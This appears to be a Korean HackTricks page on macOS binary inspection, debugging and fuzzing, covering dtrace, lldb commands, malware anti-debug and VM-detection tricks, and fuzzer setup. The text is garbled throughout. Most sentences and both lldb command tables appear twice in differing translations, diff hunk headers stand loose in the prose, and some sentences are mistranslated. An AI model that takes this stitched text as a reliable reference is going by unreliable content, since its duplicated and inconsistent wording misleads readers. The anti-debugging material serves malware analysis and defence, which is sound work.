macOS에서 `cloudconfigurationd`와 같은 **시스템 이진 파일**을 **인스트루먼트**하려면 **SIP를 비활성화**해야 합니다 (서명을 제거하는 것만으로는 작동하지 않습니다).
macOS에서 **시스템 바이너리** (예: `cloudconfigurationd`)를 **기기**하는 경우, **SIP를 비활성화**해야 합니다 (서명을 제거하는 것만으로는 작동하지 않음).
{% endhint %}
### 통합 로그
MacOS는 애플리케이션을 실행할 때 **무엇을 하는지** 이해하는 데 매우 유용한 로그를 생성합니다.
MacOS는 **어플리케이션을 실행**할 때 매우 유용한 로그를 생성합니다.
또한, 일부 로그에는 `<private>` 태그가 포함되어 있어 일부 **사용자** 또는 **컴퓨터** **식별 가능한** 정보를 **숨기는** 역할을 합니다. 그러나 이 정보를 공개하기 위해 **인증서를 설치**할 수 있습니다. [**여기**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)의 설명을 따르세요.
또한, 일부 로그에는 `<private>` 태그가 포함되어 **사용자** 또는 **컴퓨터** **식별 가능한** 정보를 **숨기는**데, 이 정보를 공개하기 위해 **인증서를 설치**할 수 있습니다. [**여기**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)의 설명을 따르세요.
### Hopper
#### 왼쪽 패널
Hopper의 왼쪽 패널에서는 이진 파일의 심볼(**라벨**), 프로시저 및 함수 목록(**Proc**), 문자열(**Str**)을 볼 수 있습니다. 이들은 Mac-O 파일의 여러 부분(예: _cstring 또는 `objc_methname`)에 정의된 문자열이 아닌 모든 문자열은 아닙니다.
Hopper의 왼쪽 패널에서는 이진 파일의 심볼 (**레이블**), 프로시저 및 함수 목록 (**Proc**) 및 문자열 (**Str**)을 볼 수 있습니다. 이들은 Mac-O 파일의 여러 부분에서 정의된 문자열 중 일부이며 (_cstring 또는_ `objc_methname`과 같은).
#### 가운데 패널
가운데 패널에서는 **디스어셈블된 코드**를 볼 수 있습니다. 그리고 해당 아이콘을 클릭하여 **원시** 디스어셈블, **그래프**, **디컴파일된** 코드, **바이너리**로 볼 수 있습니다:
가운데 패널에서는 **디스어셈블리된 코드**를 볼 수 있습니다. 그리고 **원시** 디스어셈블리, **그래프**, **디컴파일** 및 **바이너리**로 볼 수 있습니다. 각각의 아이콘을 클릭하여:
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
코드 객체를 마우스 오른쪽 버튼으로 클릭하면 해당 객체에 대한 **참조 및 참조되는 위치**를 볼 수 있으며, 이름을 변경할 수도 있습니다 (디컴파일된 의사 코드에서는 작동하지 않음):
코드 객체를 마우스 오른쪽 버튼으로 클릭하면 해당 객체에 대한 **참조/참조**를 볼 수 있거나 이름을 변경할 수 있습니다 (디컴파일된 의사 코드에서는 작동하지 않음):
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
또한, **가운데 아래에서는 Python 명령을 작성**할 수 있습니다.
또한, **가운데 아래에서 파이썬 명령어를 작성**할 수 있습니다.
#### 오른쪽 패널
오른쪽 패널에서는 **탐색 기록** (현재 상에 도달하는 방법을 알 수 있음), **호출 그래프** (이 함수를 호출하는 모든 함수 및 이 함수가 호출하는 모든 함수를 볼 수 있는 그래프), **로컬 변수** 정보와 같은 흥미로운 정보를 볼 수 있습니다.
오른쪽 패널에서는 **탐색 기록** (현재 상에 도달하는 방법을 알 수 있음), **호출 그래프** (이 함수를 호출하는 모든 함수 및 이 함수가 호출하는 모든 함수를 볼 수 있음) 및 **로컬 변수** 정보와 같은 흥미로운 정보를 볼 수 있습니다.
### dtrace
dtrace는 사용자가 **매우 낮은 수준에서 응용 프로그램에 액세스**할 수 있도록 하며, 사용자가 **프로그램을 추적**하고 실행 흐름을 변경할 수 있는 방법을 제공합니다. Dtrace는 **프로브**를 사용하여 커널 전체에 배치되며, 시스템 호출의 시작과 끝과 같은 위치에 있습니다.
Dtrace는 사용자가 **매우 낮은 수준**에서 응용 프로그램에 액세스할 수 있도록 하며, 사용자가 **프로그램을 추적**하고 실행 흐름을 심지어 변경할 수 있는 방법을 제공합니다. Dtrace는 **커널 전체에 배치된** 프로브를 사용하며 시스템 호출의 시작과 끝과 같은 위치에 있습니다.
DTrace는 각 시스템 호출에 대해 프로브를 생성하기 위해 **`dtrace_probe_create`** 함수를 사용합니다. 이러한 프로브는 각 시스템 호출의 **진입점과 종료점에서 발동**될 수 있습니다. DTrace와의 상호작용은 루트 사용자에게만 제공되는 /dev/dtrace를 통해 이루어집니다.
DTrace는 각 시스템 호출에 대해 프로브를 생성하기 위해 **`dtrace_probe_create`** 함수를 사용합니다. 이러한 프로브는 각 시스템 호출의 **진입점과 종료점**에서 발생할 수 있습니다. DTrace와의 상호 작용은 루트 사용자에게만 제공되는 /dev/dtrace를 통해 이루어집니다.
{% hint style="success" %}
SIP 보호를 완전히 비활성화하지 않고 Dtrace를 활성화하려면 복구 모드에서 다음을 실행할 수 있습니다: `csrutil enable --without dtrace`
또한 **컴파일한** 이진 파일을 **`dtrace`** 또는 **`dtruss`**할 수 있습니다.
또한 **컴파일한 바이너리**를 **`dtrace`** 또는 **`dtruss`**할 수 있습니다.
{% endhint %}
dtrace의 사용 가능한 프로브는 다음과 같이 얻을 수 있습니다:
@ -229,15 +235,15 @@ ID PROVIDER MODULE FUNCTION NAME
```
프로브 이름은 제공자, 모듈, 함수 및 이름(`fbt:mach_kernel:ptrace:entry`)으로 구성됩니다. 이름의 일부를 지정하지 않으면 Dtrace는 해당 부분을 와일드카드로 적용합니다.
DTrace를 구성하여 프로브를 활성화하고 발생할 때 수행할 작업을 지정하려면 D 언어를 사용해야 합니다.
프로브를 활성화하고 발생할 때 수행할 작업을 지정하려면 D 언어를 사용해야 합니다.
더 자세한 설명 예제는 [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)에서 찾을 수 있습니다.
더 자세한 설명 예제는 [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)에서 찾을 수 있습니다.
#### 예
#### 예
`man -k dtrace`를 실행하여 **사용 가능한 DTrace 스크립트 목록**을 확인합니다. 예: `sudo dtruss -n binary`
* 줄에서
* 줄에서
```bash
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
@ -281,106 +287,78 @@ printf("=%d\n", arg1);
sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
```
### dtruss
`dtruss`는 macOS에서 실행 중인 애플리케이션의 시스템 호출 및 라이브러리 함수 호출을 추적하기 위한 도구입니다. 이를 통해 애플리케이션의 동작을 분석하고 디버깅할 수 있습니다.
#### 사용법
`dtruss`를 사용하려면 다음 명령을 터미널에서 실행합니다:
```
sudo dtruss -p <PID>
```
여기서 `<PID>`는 추적하려는 프로세스의 식별자입니다. 프로세스 식별자를 얻으려면 `ps` 명령을 사용하거나, 활동 모니터를 통해 확인할 수 있습니다.
추적이 시작되면 `dtruss`는 애플리케이션의 시스템 호출과 라이브러리 함수 호출을 실시간으로 출력합니다. 이를 통해 애플리케이션의 동작을 분석하고 문제를 해결할 수 있습니다.
#### 주의사항
`dtruss`는 시스템 호출과 라이브러리 함수 호출을 추적하기 때문에, 애플리케이션의 동작에 영향을 줄 수 있습니다. 따라서 신중하게 사용해야 합니다. 또한, `dtruss`는 루트 권한이 필요하므로 `sudo`를 사용하여 실행해야 합니다.
#### 예시
다음은 `dtruss`를 사용하여 Safari 웹 브라우저의 동작을 추적하는 예시입니다:
```
sudo dtruss -p $(pgrep Safari)
```
이 명령은 Safari 웹 브라우저의 프로세스 식별자를 찾아서 `dtruss`로 추적합니다. 이를 통해 Safari의 시스템 호출과 라이브러리 함수 호출을 실시간으로 확인할 수 있습니다.
```bash
dtruss -c ls #Get syscalls of ls
dtruss -c -p 1000 #get syscalls of PID 1000
```
### ktrace
이것은 **SIP가 활성화된 상태에서도 사용할 수 있습니다**.
심지어 **SIP가 활성화**된 상태에서도 이를 사용할 수 있습니다.
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
### ProcessMonitor
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor)는 프로세스가 수행하는 프로세스 관련 작업을 확인하는 매우 유용한 도구입니다 (예: 프로세스가 생성하는 새로운 프로세스를 모니터링).
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor)는 프로세스가 수행하는 프로세스 관련 작업을 확인하는 매우 유용한 도구입니다 (예: 프로세스가 생성하는 새 프로세스를 모니터링).
### SpriteTree
[**SpriteTree**](https://themittenmac.com/tools/)는 프로세스 간 관계를 출력하는 도구입니다.\
**`sudo eslogger fork exec rename create > cap.json`**와 같은 명령으로 맥을 모니터링해야합니다 (이 명령은 FDA가 필요합니다). 그런 다음이 도구에서 json을로드하여 모든 관계를 볼 수 있습니다:
[**SpriteTree**](https://themittenmac.com/tools/)는 프로세스 간 관계를 출력하는 도구입니다.\
**`sudo eslogger fork exec rename create > cap.json`**과 같은 명령으로 맥을 모니터링해야 합니다 (이 명령을 실행하는 터미널은 FDA가 필요합니다). 그런 다음 이 도구에서 json을 로드하여 모든 관계를 볼 수 있습니다:
<figure><img src="../../../.gitbook/assets/image (710).png" alt="" width="375"><figcaption></figcaption></figure>
### FileMonitor
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor)는 파일 이벤트 (생성, 수정 및 삭제와 같은)를 모니터링하여 해당 이벤트에 대한 자세한 정보를 제공합니다.
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor)는 파일 이벤트 (생성, 수정 및 삭제와 같은)를 모니터링하여 이러한 이벤트에 대한 자세한 정보를 제공합니다.
### Crescendo
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)는 Microsoft Sysinternal의 _Procmon_에서 Windows 사용자가 알 수 있는 외관과 느낌을 가진 GUI 도구입니다. 이 도구는 다양한 이벤트 유형의 녹화를 시작하고 중지할 수 있으며, 파일, 프로세스, 네트워크 등과 같은 범주별로 이벤트를 필터링하는 기능을 제공하며, 녹화된 이벤트를 json 형식으로 저장하는 기능을 제공합니다.
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo)는 Microsoft Sysinternal의 _Procmon_에서 Windows 사용자가 알 수 있는 외관을 가진 GUI 도구입니다. 이 도구를 사용하면 다양한 이벤트 유형의 녹화를 시작하고 중지할 수 있으며 파일, 프로세스, 네트워크 등과 같은 범주별로 이러한 이벤트를 필터링하고 json 형식으로 기록된 이벤트를 저장할 수 있습니다.
### Apple Instruments
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html)는 Xcode의 개발자 도구의 일부로, 애플리케이션 성능을 모니터링하고 메모리 누수를 식별하며 파일 시스템 활동을 추적하는 데 사용됩니다.
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html)은 Xcode의 개발자 도구의 일부입니다. 애플리케이션 성능을 모니터링하고 메모리 누수를 식별하며 파일 시스템 활동을 추적하는 데 사용됩니다.
![](<../../../.gitbook/assets/image (15).png>)
### fs\_usage
프로세스가 수행하는 작업을 따를 수 있도록 허용합니다:
프로세스가 수행하는 작업을 따를 수 있게 해줍니다:
```bash
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
fs_usage -w -f network curl #This tracks network actions
```
### TaskExplorer
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html)는 이진 파일이 사용하는 **라이브러리**, 사용하는 **파일****네트워크** 연결을 확인하는 데 유용합니다.\
또한 바이너리 프로세스를 **virustotal**과 비교하여 바이너리에 대한 정보를 표시합니다.
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html)는 이진 파일이 사용하는 **라이브러리**, 사용 중인 **파일****네트워크** 연결을 볼 수 있는 유용한 도구입니다.\
또한 바이너리 프로세스를 **virustotal**에 대해 확인하고 해당 바이너리에 대한 정보를 표시합니다.
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
[**이 블로그 포스트**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 SIP가 비활성화되었더라도 디버깅을 방지하기 위해 **`PT_DENY_ATTACH`**를 사용하는 실행 중인 데몬을 디버깅하는 예제를 찾을 수 있습니다.
[**이 블로그 게시물**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)에서는 SIP가 비활성화되어 있더라도 **`PT_DENY_ATTACH`**를 사용하여 디버깅을 방지하는 **실행 중인 데몬을 디버깅**하는 예제를 찾을 수 있습니다.
### lldb
**lldb**는 **macOS** 이진 파일 디버깅을 위한 사실상의 도구입니다.
**lldb**는 **macOS** 이진 파일 **디버깅**을 위한 사실상의 도구입니다.
```bash
lldb ./malware.bin
lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
다음 줄을 포함하여 홈 폴더에 **`.lldbinit`**이라는 파일을 생성하여 lldb를 사용할 때 intel 플레이버를 설정할 수 있습니다.
**`.lldbinit`**이라는 파일을 홈 폴더에 만들고 다음 줄을 추가하여 lldb를 사용할 때 intel 플레이버를 설정할 수 있습니다:
```bash
settings set target.x86-disassembly-flavor intel
```
{% hint style="warning" %}
lldb 내에서 `process save-core`를 사용하여 프로세스 덤프합니다.
lldb 내에서 `process save-core`를 사용하여 프로세스 덤프
{% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 명령어</strong></td><td><strong>설명</strong></td></tr><tr><td><strong>run (r)</strong></td><td>중단점이 도달하거나 프로세스가 종료될 때까지 실행을 시작합니다.</td></tr><tr><td><strong>continue (c)</strong></td><td>디버깅 중인 프로세스의 실행을 계속합니다.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>다음 명령을 실행합니다. 이 명령은 함수 호출을 건너뜁니다.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>다음 명령을 실행합니다. nexti 명령과 달리 이 명령은 함수 호출 내부로 진입합니다.</td></tr><tr><td><strong>finish (f)</strong></td><td>현재 함수("프레임")의 나머지 명령을 실행하고 중단합니다.</td></tr><tr><td><strong>control + c</strong></td><td>실행을 일시 중지합니다. 프로세스가 실행되거나 계속되었을 경우, 현재 실행 중인 위치에서 프로세스를 중지시킵니다.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main # main 함수 호출</p><p>b &#x3C;binname>`main # 바이너리의 main 함수</p><p>b set -n main --shlib &#x3C;lib_name> # 지정된 바이너리의 main 함수</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l # 중단점 목록</p><p>br e/dis &#x3C;num> # 중단점 활성화/비활성화</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # 중단점 명령어 도움말</p><p>help memory write # 메모리 쓰기 도움말</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/memory address></strong></td><td>메모리를 null로 종료된 문자열로 표시합니다.</td></tr><tr><td><strong>x/i &#x3C;reg/memory address></strong></td><td>메모리를 어셈블리 명령으로 표시합니다.</td></tr><tr><td><strong>x/b &#x3C;reg/memory address></strong></td><td>메모리를 바이트로 표시합니다.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>매개변수로 참조된 객체를 출력합니다.</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>대부분의 Apple Objective-C API 또는 메서드는 객체를 반환하므로 "print object" (po) 명령을 통해 표시해야 합니다. 의미 있는 출력이 나오지 않는 경우 <code>x/b</code>를 사용하세요.</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기<br>memory write -f s $rip+0x11f+7 "AAAA" # 해당 주소에 AAAA 쓰기</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 현재 함수의 어셈블리 명령 표시</p><p>dis -n &#x3C;funcname> # 함수의 어셈블리 명령 표시</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> # 함수의 어셈블리 명령 표시<br>dis -c 6 # 6줄 어셈블리 명령 표시<br>dis -c 0x100003764 -e 0x100003768 # 한 주소에서 다른 주소까지 어셈블리 명령 표시<br>dis -p -c 4 # 현재 주소에서 어셈블리 명령 시작</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 명령어</strong></td><td><strong>설명</strong></td></tr><tr><td><strong>run (r)</strong></td><td>중단점이 만나거나 프로세스가 종료될 때까지 계속 실행을 시작합니다.</td></tr><tr><td><strong>continue (c)</strong></td><td>디버그된 프로세스의 실행을 계속합니다.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>다음 명령을 실행합니다. 이 명령은 함수 호출을 건너뜁니다.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>다음 명령을 실행합니다. nexti 명령과 달리 이 명령은 함수 호출 내부로 진입합니다.</td></tr><tr><td><strong>finish (f)</strong></td><td>현재 함수("프레임")의 남은 명령을 실행하고 중지합니다.</td></tr><tr><td><strong>control + c</strong></td><td>실행을 일시 중지합니다. 프로세스가 실행(r)되거나 계속(c)된 경우 현재 실행 중인 위치에서 프로세스를 중지시킵니다.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main # main 함수 호출</p><p>b <binname>`main # 바이너리의 main 함수</p><p>b set -n main --shlib <lib_name> # 지정된 바이너리의 main 함수</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l # 중단점 목록</p><p>br e/dis <num> # 중단점 활성화/비활성화</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint # 중단점 명령어 도움말</p><p>help memory write # 메모리 쓰기 도움말</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <a href="https://lldb.llvm.org/use/variable.html#type-format">format</a></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>메모리를 종료된 문자열로 표시합니다.</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>어셈블리 명령으로 메모리를 표시합니다.</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>바이트로 메모리를 표시합니다.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>매개변수로 참조된 객체를 출력합니다.</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>대부분의 Apple Objective-C API 또는 메서드는 객체를 반환하므로 "print object" (po) 명령을 통해 표시해야 합니다. 의미 있는 출력이 나오지 않으면 <code>x/b</code>를 사용하세요.</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기<br>memory write -f s $rip+0x11f+7 "AAAA" # 주소에 AAAA 쓰기</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis # 현재 함수를 어셈블합니다</p><p>dis -n <funcname> # 함수 어셈블</p><p>dis -n <funcname> -b <basename> # 함수 어셈블<br>dis -c 6 # 6줄 어셈블</p><p>dis -c 0x100003764 -e 0x100003768 # 한 주소부터 다른 주소까지<br>dis -p -c 4 # 현재 주소에서 어셈블 시작</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인</td></tr></tbody></table>
{% hint style="info" %}
**`objc_sendMsg`** 함수를 호출할 때, **rsi** 레지스터에는 null로 종료된 ("C") 문자열 형태의 **메서드 이름**이 저장됩니다. lldb를 통해 이름을 출력하려면 다음과 같이 수행합니다:
**`objc_sendMsg`** 함수를 호출할 때 **rsi** 레지스터는 널 종료된("C") 문자열로 **메서드 이름**을 보유합니다. lldb를 통해 이름을 출력하려면 다음을 수행합니다:
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
@ -394,24 +372,24 @@ lldb 내에서 `process save-core`를 사용하여 프로세스를 덤프합니
#### VM 탐지
* **`sysctl hw.model`** 명령은 호스트가 MacOS인 경우 "Mac"을 반환하지만 VM인 경우 다른 값을 반환합니다.
* 악성 코드 중 일부**`hw.logicalcpu`** 및 **`hw.physicalcpu`** 값의 조작을 통해 VM인지 여부를 탐지하려고 합니다.
* 일부 악성 코드는 MAC 주소(00:50:56)를 기반으로 **VMware**인지 여부를 탐지할 수도 있습니다.
* 간단한 코드로 **프로세스가 디버깅 중인지 여부**를 확인할 수도 있습니다:
* **`sysctl hw.model`** 명령은 **호스트가 MacOS**인 경우 "Mac"을 반환하고 VM인 경우 다른 값을 반환합니다.
* 일부 악성 코드는 **`hw.logicalcpu`** 및 **`hw.physicalcpu`** 값을 조작하여 VM인지 여부를 감지하려고 합니다.
* 일부 악성 코드는 MAC 주소(00:50:56)를 기반으로 **VMware**인지 여부를 감지할 수 있습니다.
* 간단한 코드로 **프로세스가 디버깅되고 있는지** 확인할 수 있습니다:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
* **`ptrace`** 시스템 호출을 **`PT_DENY_ATTACH`** 플래그와 함께 호출할 수도 있습니다. 이렇게 하면 디버거가 연결되고 추적하는 것을 방지할 수 있습니다.
* **`sysctl`** 또는 **`ptrace`** 함수가 **가져오기(import)**되었는지 확인할 수 있습니다(하지만 악성 코드는 동적으로 가져올 수 있습니다).
* 이 writeup에서 언급된 것처럼, "[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\
"_메시지 Process # exited with **status = 45 (0x0000002d)**는 일반적으로 디버그 대상이 **PT\_DENY\_ATTACH**를 사용하는 것을 나타내는 신호입니다._"
## 퍼징
* **`ptrace`** 시스템 호출을 **`PT_DENY_ATTACH`** 플래그와 함께 호출할 수도 있습니다. 이렇게 하면 디버거가 첨부되고 추적되는 것을 방지합니다.
* **`sysctl`** 또는 **`ptrace`** 함수가 **가져오기(imported)**되었는지 확인할 수 있습니다(그러나 악성 코드는 동적으로 가져올 수 있음)
* 이 글에서 언급된 대로, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/):\
_메시지 Process # exited with **status = 45 (0x0000002d)**는 일반적으로 디버그 대상이 **PT\_DENY\_ATTACH**를 사용하고 있음을 나타내는 신호입니다_”
## Fuzzing
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash는 **충돌하는 프로세스를 분석하고 충돌 보고서를 디스크에 저장**합니다. 충돌 보고서에는 충돌 원인을 **진단하는 데 도움이 되는 정보**가 포함되어 있습니다.\
사용자별 launchd 컨텍스트에서 실행되는 응용 프로그램 및 기타 프로세스의 경우, ReportCrash는 LaunchAgent로 실행되며 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\
데몬, 시스템 launchd 컨텍스트에서 실행되는 기타 프로세스 및 기타 권한이 있는 프로세스의 경우, ReportCrash는 LaunchDaemon으로 실행되며 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다.
ReportCrash **분석이 중단된 프로세스를 분석하고 충돌 보고서를 디스크에 저장**합니다. 충돌 보고서에는 충돌 원인을 진단하는 데 도움이 되는 정보가 포함되어 있습니다.\
사용자별 launchd 컨텍스트에서 실행되는 응용 프로그램 및 기타 프로세스의 경우 ReportCrash는 LaunchAgent로 실행되어 사용자의 `~/Library/Logs/DiagnosticReports/`에 충돌 보고서를 저장합니다.\
데몬, 시스템 launchd 컨텍스트에서 실행되는 기타 프로세스 및 다른 권한이 있는 프로세스의 경우 ReportCrash는 LaunchDaemon으로 실행되어 시스템의 `/Library/Logs/DiagnosticReports`에 충돌 보고서를 저장합니다.
Apple로 보내지는 충돌 보고서에 대해 걱정된다면 비활성화할 수 있습니다. 그렇지 않으면 충돌 보고서는 **서버가 어떻게 충돌했는지 파악하는 데 유용**할 수 있습니다.
Apple로 전송되는 충돌 보고서에 대해 걱정된다면 비활성화할 수 있습니다. 그렇지 않으면 충돌 보고서는 **서버가 어떻게 충돌했는지 파악하는 데 유용**할 수 있습니다.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -421,9 +399,9 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo
launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist
```
### Sleep
### 슬립
MacOS에서 퍼징을 할 때는 Mac이 절대로 잠들지 않도록 해야합니다:
MacOS에서 퍼징을 할 때 Mac이 슬립 모드로 들어가지 않도록하는 것이 중요합니다:
* systemsetup -setsleep Never
* pmset, 시스템 환경 설정
@ -431,7 +409,7 @@ MacOS에서 퍼징을 할 때는 Mac이 절대로 잠들지 않도록 해야합
#### SSH 연결 끊김
SSH 연결을 통해 퍼징을 진행하는 경우 세션이 종료되지 않도록 해야합니다. 따라서 다음과 같이 sshd\_config 파일을 변경하십시오:
SSH 연결을 통해 퍼징을 하는 경우 세션이 종료되지 않도록해야 합니다. 따라서 sshd\_config 파일을 다음과 같이 변경하십시오:
* TCPKeepAlive Yes
* ClientAliveInterval 0
@ -442,7 +420,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### 내부 핸들러
**다음 페이지를 확인하세요**. 여기에서는 **지정된 스키마 또는 프로토콜을 처리하는 앱을 찾는 방법**을 알 수 있습니다:
**다음 페이지를 확인하세요** 지정된 scheme 또는 protocol을 처리하는 앱을 찾는 방법을 알아볼 수 있습니다:
{% content-ref url="../macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
@ -450,14 +428,14 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
### 네트워크 프로세스 열거
네트워크 데이터를 관리하는 프로세스를 찾는 것은 흥미로운 작업입니다:
네트워크 데이터를 관리하는 프로세스를 찾는 데 흥미로운 정보입니다:
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time
sort -u recv.log > procs.txt
cat procs.txt
```
또는 `netstat` 또는 `lsof`를 사용하세요.
또는 `netstat` 또는 `lsof`를 사용하십시오.
### Libgmalloc
@ -469,15 +447,15 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
```
{% endcode %}
### 퍼저
### Fuzzers
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
CLI 도구에 사용됩니다.
CLI 도구에 작동합니다.
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
macOS GUI 도구와 "**그냥 작동"**합니다. 일부 macOS 앱은 고유한 파일 이름, 올바른 확장자, 샌드박스에서 파일을 읽어야 하는 등 특정 요구 사항이 있습니다 (`~/Library/Containers/com.apple.Safari/Data`에서 파일을 읽어야 함 등).
macOS GUI 도구와 "**그냥 작동"**합니다. 일부 macOS 앱은 고유한 파일 이름, 올바른 확장자, 샌드박스에서 파일을 읽어야 하는 등 특정 요구 사항이 있습니다 (`~/Library/Containers/com.apple.Safari/Data`)...
일부 예시:
@ -507,7 +485,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
```
{% endcode %}
### 추가로 macOS 퍼징 정보
### 더 많은 MacOS 정보에 대한 Fuzzing
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
@ -516,21 +494,21 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
## 참고 자료
* [**OS X 사고 대응: 스크립팅과 분석**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**Mac 악성 소프트웨어 분석 가이드**](https://taomm.org/)
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
<details>
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
